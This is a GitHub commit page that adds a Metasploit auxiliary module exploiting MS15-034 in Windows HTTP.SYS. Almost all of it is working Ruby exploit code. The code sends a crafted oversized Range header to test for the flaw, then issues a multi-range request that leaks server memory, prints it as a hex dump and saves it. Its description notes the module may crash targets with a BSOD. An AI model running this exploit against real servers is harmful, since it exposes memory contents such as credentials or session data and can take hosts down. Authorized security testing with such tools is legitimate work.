Skip to content

Commit 774aef7

Browse files
committed
add module to dump memory via MS15-034
1 parent b837741 commit 774aef7

File tree

1 file changed

+186
-0
lines changed

1 file changed

+186
-0
lines changed
Lines changed: 186 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,186 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/proto/http'
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize
15+
super(
16+
'Name' => 'MS15-034 HTTP.SYS Memory Dump',
17+
'Description' => %q{
18+
Dumps memory contents using a crafted Range header.
19+
Reportedly affects Win7 and up, tested against Win8.1 and
20+
Server 2012R2 with no crashes. Note that if the target is
21+
running in VMware Workstation, this module has a high likelihood
22+
of resulting in BSOD. However, VMware ESX and non-virtualized
23+
hosts seem stable. Using a larger target file should result
24+
in more memory being dumped, and SSL seems to produce more data
25+
as well.
26+
},
27+
'Author' => 'Rich Whitcroft <rwhitcroft[at]gmail.com>',
28+
'License' => MSF_LICENSE,
29+
'References' => [ ['URL', 'http://securitysift.com/an-analysis-of-ms15-034/'] ]
30+
)
31+
32+
register_options([
33+
OptString.new('TARGET_URI', [ true, 'The path to the resource (must exist!)', '/iisstart.htm' ]),
34+
OptInt.new('RPORT', [ true, 'The target port', 443 ]),
35+
OptBool.new('SSL', [ true, 'Use SSL?', true ]),
36+
OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ])
37+
], self.class)
38+
39+
deregister_options('VHOST')
40+
end
41+
42+
def check
43+
res = send_request_raw({
44+
'uri' => datastore['TARGET_URI'],
45+
'method' => 'GET',
46+
'headers' => {
47+
'Range' => 'bytes=0-18446744073709551615'
48+
}
49+
})
50+
unless res
51+
print_error("Error in send_request_raw")
52+
return false
53+
end
54+
55+
return (res.body.include?("Requested Range Not Satisfiable") ? true : false)
56+
end
57+
58+
def dump(data)
59+
# clear out the returned resource
60+
if datastore['SUPPRESS_REQUEST']
61+
dump_start = data.index('HTTP/1.1 200 OK')
62+
if dump_start
63+
data[0..dump_start-1] = ''
64+
else
65+
print_error("Memory dump start position not found, dumping all data instead")
66+
end
67+
end
68+
69+
i = 1
70+
bytes_per_line = 16
71+
lines_suppressed = 0
72+
bytes = String.new
73+
chars = String.new
74+
75+
print_good("Memory contents:")
76+
77+
data.each_byte do |b|
78+
bytes << "%02x" % b.ord
79+
80+
if b.ord.between?(32, 126)
81+
chars << b.chr
82+
else
83+
chars << "."
84+
end
85+
86+
if i > 1 and i % bytes_per_line == 0
87+
if bytes !~ /^[0f]{32}$/
88+
bytes.gsub!(/(.{4})/, '\1 ')
89+
print_status("#{bytes} #{chars}")
90+
else
91+
lines_suppressed += 1
92+
end
93+
94+
bytes.clear
95+
chars.clear
96+
end
97+
98+
i += 1
99+
end
100+
101+
print_status("Suppressed #{lines_suppressed} uninteresting lines") unless lines_suppressed.zero?
102+
end
103+
104+
def run_host(ip)
105+
begin
106+
unless check
107+
print_error("Target is not vulnerable")
108+
return
109+
else
110+
print_good("Target is vulnerable!")
111+
end
112+
113+
# determine the size of the resource
114+
res = send_request_raw({ 'uri' => datastore['TARGET_URI'], 'method' => 'GET' })
115+
unless res
116+
print_error("Error in send_request_raw")
117+
return
118+
end
119+
120+
if res.code == 200
121+
content_length = res.headers['Content-Length'].to_i
122+
print_good("Content length is #{content_length} bytes")
123+
else
124+
print_error("Error: HTTP code #{res.code}")
125+
return
126+
end
127+
128+
# build the Range header
129+
ranges = "bytes=3-18446744073709551615"
130+
range_step = 100
131+
for range_start in (1..content_length).step(range_step) do
132+
range_end = range_start + range_step - 1
133+
range_end = content_length if range_end > content_length
134+
ranges << ",#{range_start}-#{range_end}"
135+
end
136+
137+
sock_opts = {
138+
'SSL' => datastore['SSL'],
139+
'SSLVersion' => datastore['SSLVersion'],
140+
'LocalHost' => nil,
141+
'PeerHost' => ip,
142+
'PeerPort' => datastore['RPORT']
143+
}
144+
145+
sock = Rex::Socket::Tcp.create(sock_opts)
146+
147+
req = "GET #{datastore['TARGET_URI']} HTTP/1.1\r\nHost: #{ip}\r\nRange: #{ranges}\r\n\r\n"
148+
sock.put(req)
149+
150+
print_good("Stand by...")
151+
152+
resp = String.new
153+
loop do
154+
sleep 2
155+
156+
begin
157+
buf = sock.get_once(-1, 2)
158+
if buf
159+
resp << buf
160+
else
161+
break
162+
end
163+
rescue
164+
break
165+
end
166+
end
167+
168+
if resp and not resp.empty?
169+
dump(resp)
170+
loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')
171+
print_status("Memory dump saved to #{loot_path}")
172+
else
173+
print_error("Error receiving from socket or no data received")
174+
return
175+
end
176+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
177+
print_error("Unable to connect")
178+
return
179+
rescue ::Timeout::Error, ::Errno::EPIPE
180+
print_error("Timeout receiving from socket")
181+
return
182+
ensure
183+
sock.close if sock
184+
end
185+
end
186+
end

0 commit comments

Comments
 (0)